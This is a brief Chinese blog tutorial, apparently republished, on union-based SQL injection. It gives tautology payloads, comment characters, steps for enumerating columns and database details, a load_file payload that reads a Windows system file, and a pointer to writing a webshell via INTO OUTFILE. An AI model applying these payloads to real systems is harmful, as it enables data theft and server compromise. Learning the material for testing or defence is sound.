首页 > 数据库技术 > 详细

sql回显注入(满满的干货)

时间:2019-06-19 23:38:55      阅读:370      评论:0      收藏:0      [点我收藏+]

三种注入poc

 where user_id = 1 or 1=1

 where user_id = ‘1‘ or ‘1‘=‘1‘

 where user_id =" 1 "or "1"="1"

三种sql注释符

#     单行注释   注意与url中的#区分,常编码为%23

--空格      单行注释  注意为短线短线空格

/*()*/      多行注释  至少存在俩处的注入   /**/常用来作为空格

注入流程

是否存在注入并且判断注入类型

判断字段数   order by 

确定回显点      union select 1,2

查询数据库信息    @@version    @@datadir

查询用户名,数据库名     user()   database()

文件读取  union select 1,load_file(‘C:\\wondows\\win.ini‘)#

写入 webshell       select..into  outfile...

补充一点,使用sql注入遇到转义字符串的单引号或者双引号,可使用HEX编码绕过

 

sql回显注入(满满的干货)

原文:https://www.cnblogs.com/ihacker/p/11055191.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!